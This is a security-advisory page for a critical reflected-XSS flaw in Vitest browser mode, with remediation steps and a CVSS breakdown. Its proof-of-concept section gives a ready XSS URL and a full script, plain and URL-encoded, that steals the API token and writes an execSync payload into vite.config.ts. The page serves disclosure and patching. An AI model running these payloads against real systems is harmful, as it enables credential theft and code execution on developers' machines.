Loading...
Skip to main content

CVE-2026-47428 — Vulnerability in @vitest/browser — CVE Details

CRITICAL

Vitest browser mode serves unsanitized otelCarrier query parameter as inline script

Published June 1, 2026Updated September 10, 2026Source: osv

Summary

## Summary Vitest browser mode served `/__vitest_test__/` with the `otelCarrier` query parameter inserted directly into an inline module script. Because this value was treated as JavaScript source rather than data, an attacker could craft a browser-runner URL that executes arbitrary JavaScript in the Vitest server origin. https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/node/serverOrchestrator.ts#L48 https://github.com/vitest-dev/vitest/blob/cba2036a197ec8ed42c35a37db78ef07192202c7/packages/browser/src/client/public/esm-client-injector.js#L41 The same generated page embeds `VITEST_API_TOKEN`, which is used to authenticate Vitest WebSocket APIs. Script execution in this origin can therefore recover the token and make authenticated API calls. ## Impact This issue affects users running Vitest browser mode. A victim must open or navigate to a crafted Vitest browser-runner URL while the Vitest browser server is running. In the default local browser-mode setup, the token compromise can be chained to server-side code execution. A confirmed proof of concept used the authenticated browser API to write a payload into `vite.config.ts`. Vitest/Vite then reloaded the config, executing the injected config code in Node. This is related in impact to [GHSA-9crc-q9x8-hgqq](https://github.com/vitest-dev/vitest/security/advisories/GHSA-9crc-q9x8-hgqq): that advisory covered unauthenticated cross-site WebSocket access to Vitest APIs, while this issue uses reflected same-origin script execution to recover the API token that protects those APIs. ## Proof of Concept ### XSS For a concrete reproduction, start browser mode in watch mode using the official Lit example: ```sh pnpm dlx tiged vitest-dev/vitest/examples/lit vitest-poc cd vitest-poc pnpm install pnpm test ``` By default, Vitest serves the browser runner HTML and WebSocket API at `http://localhost:63315`. Open the following URL: ```text http://localhost:63315/__vitest_test__/?otelCarrier=(alert(%22xss%20via%20otelCarrier%22)%2Cnull) ``` The `otelCarrier` query value is inserted into the generated inline module script as JavaScript source: ```js otelCarrier: (alert("xss via otelCarrier"),null), ``` Loading the page triggers the alert, confirming reflected script execution in the Vitest browser runner origin. ### RCE via config write A full local RCE proof can use the same injection point to recover `window.VITEST_API_TOKEN`, connect to `/__vitest_browser_api__`, and call `triggerCommand("writeFile", ...)` to modify the local `vite.config.ts`. The PoC preserves the original config and prepends a Node-side payload. When Vitest/Vite reloads the changed config, the payload executes in Node. This PoC imports `flatted` from a CDN to keep the payload compact. <details><summary>Example script and encoded URL</summary> ```ts (setTimeout(async()=>{ const s = window.__vitest_browser_runner__ const { stringify, parse } = await import('https://cdn.jsdelivr.net/npm/flatted@3.3.2/+esm') const p = location.protocol === 'https:' ? 'wss:' : 'ws:' const q = 'type=orchestrator&rpcId=poc-' + Date.now() + '&sessionId=' + encodeURIComponent(s.sessionId) + '&projectName=' + encodeURIComponent(s.config.name || '') + '&method=' + encodeURIComponent(s.method) + '&token=' + encodeURIComponent(window.VITEST_API_TOKEN || '0') const ws = new WebSocket(p + '//' + location.host + '/__vitest_browser_api__?' + q) const pending = new Map() function call(m, a = []) { const i = crypto.randomUUID() ws.send(stringify({ t: 'q', i, m, a })) return new Promise((resolve, reject) => { pending.set(i, { resolve, reject }) }) } ws.onmessage = (event) => { const message = parse(event.data) const promise = pending.get(message.i) if (!promise) { return } pending.delete(message.i) if (message.e) { promise.reject(message.e) } else { promise.resolve(message.r) } } ws.onopen = async () => { const configPath = 'vite.config.ts' const original = await call('triggerCommand', [ s.sessionId, 'readFile', configPath, [configPath, 'utf-8'], ]) const injected = ` import("node:child_process").then(lib => { lib.execSync('touch ./rce-poc') console.log('RCE success') }) ` await call('triggerCommand', [ s.sessionId, 'writeFile', configPath, [configPath, injected + original], ]) alert('POC: vite.config.ts modified to trigger RCE on config reload') } ws.onerror = () => alert('POC: browser api websocket failed') },0),null) ``` The following URL is the same script encoded as the `otelCarrier` query value: ```txt http://localhost:63315/__vitest_test__/?otelCarrier=(setTimeout(async()%3D%3E%7B%0A%20%20const%20s%20%3D%20window.__vitest_browser_runner__%0A%20%20const%20%7B%20stringify%2C%20parse%20%7D%20%3D%20await%20import('https%3A%2F%2Fcdn.jsdelivr.net%2Fnpm%2Fflatted%403.3.2%2F%2Besm')%0A%20%20const%20p%20%3D%20location.protocol%20%3D%3D%3D%20'https%3A'%20%3F%20'wss%3A'%20%3A%20'ws%3A'%0A%20%20const%20q%20%3D%20'type%3Dorchestrator%26rpcId%3Dpoc-'%20%2B%20Date.now()%0A%20%20%20%20%2B%20'%26sessionId%3D'%20%2B%20encodeURIComponent(s.sessionId)%0A%20%20%20%20%2B%20'%26projectName%3D'%20%2B%20encodeURIComponent(s.config.name%20%7C%7C%20'')%0A%20%20%20%20%2B%20'%26method%3D'%20%2B%20encodeURIComponent(s.method)%0A%20%20%20%20%2B%20'%26token%3D'%20%2B%20encodeURIComponent(window.VITEST_API_TOKEN%20%7C%7C%20'0')%0A%0A%20%20const%20ws%20%3D%20new%20WebSocket(p%20%2B%20'%2F%2F'%20%2B%20location.host%20%2B%20'%2F__vitest_browser_api__%3F'%20%2B%20q)%0A%20%20const%20pending%20%3D%20new%20Map()%0A%0A%20%20function%20call(m%2C%20a%20%3D%20%5B%5D)%20%7B%0A%20%20%20%20const%20i%20%3D%20crypto.randomUUID()%0A%20%20%20%20ws.send(stringify(%7B%20t%3A%20'q'%2C%20i%2C%20m%2C%20a%20%7D))%0A%20%20%20%20return%20new%20Promise((resolve%2C%20reject)%20%3D%3E%20%7B%0A%20%20%20%20%20%20pending.set(i%2C%20%7B%20resolve%2C%20reject%20%7D)%0A%20%20%20%20%7D)%0A%20%20%7D%0A%0A%20%20ws.onmessage%20%3D%20(event)%20%3D%3E%20%7B%0A%20%20%20%20const%20message%20%3D%20parse(event.data)%0A%20%20%20%20const%20promise%20%3D%20pending.get(message.i)%0A%20%20%20%20if%20(!promise)%20%7B%0A%20%20%20%20%20%20return%0A%20%20%20%20%7D%0A%20%20%20%20pending.delete(message.i)%0A%20%20%20%20if%20(message.e)%20%7B%0A%20%20%20%20%20%20promise.reject(message.e)%0A%20%20%20%20%7D%0A%20%20%20%20else%20%7B%0A%20%20%20%20%20%20promise.resolve(message.r)%0A%20%20%20%20%7D%0A%20%20%7D%0A%0A%20%20ws.onopen%20%3D%20async%20()%20%3D%3E%20%7B%0A%20%20%20%20const%20configPath%20%3D%20'vite.config.ts'%0A%20%20%20%20const%20original%20%3D%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'readFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20'utf-8'%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20const%20injected%20%3D%20%60%0Aimport(%22node%3Achild_process%22).then(lib%20%3D%3E%20%7B%0A%20%20lib.execSync('touch%20.%2Frce-poc')%0A%20%20console.log('RCE%20success')%0A%7D)%0A%60%0A%20%20%20%20await%20call('triggerCommand'%2C%20%5B%0A%20%20%20%20%20%20s.sessionId%2C%0A%20%20%20%20%20%20'writeFile'%2C%0A%20%20%20%20%20%20configPath%2C%0A%20%20%20%20%20%20%5BconfigPath%2C%20injected%20%2B%20original%5D%2C%0A%20%20%20%20%5D)%0A%0A%20%20%20%20alert('POC%3A%20vite.config.ts%20modified%20to%20trigger%20RCE%20on%20config%20reload')%0A%20%20%7D%0A%0A%20%20ws.onerror%20%3D%20()%20%3D%3E%20alert('POC%3A%20browser%20api%20websocket%20failed')%0A%7D%2C0)%2Cnull) ``` </details> ---

Advisory Timeline

  • First published June 1, 2026 (133 days ago).
  • Last revised September 10, 2026 — 101 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update @vitest/browser to 4.1.6 or later
npm install @vitest/browser@4.1.6
npm
Update @vitest/browser to 5.0.0-beta.3 or later
npm install @vitest/browser@5.0.0-beta.3

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (2)

Affects 1 ecosystem: npm (1).

PackageEcosystemAffectedFixed In
@vitest/browser
npm
All versions4.1.6
@vitest/browser
npm
All versions5.0.0-beta.3

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-79
    Cross-site Scripting (XSS)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.6 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-47428?
Vitest browser mode serves unsanitized otelCarrier query parameter as inline script This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.6/10).
How do I check if my project is affected by CVE-2026-47428?
CVE-2026-47428 affects @vitest/browser. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-47428 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.6

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-2h32-95rg-cppp

Related CVEs

  • CVE-2026-53633
    CRITICAL

    Vitest Browser: Exposed Browser Mode API Can Proxy CDP and Overwrite Config Files, Leading to RCE

  • CVE-2026-73653
    CRITICAL

    @vitest/browser: Browser Mode provider commands bypass the file-access permission gate

  • CVE-2026-107722
    CRITICAL

    fast-jwt: Incomplete patch of CVE-2026-34950: Non-whitespace key-prefix re-enables RSA→HS256 algorithm confusion

  • CVE-2026-108261
    CRITICAL

    TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies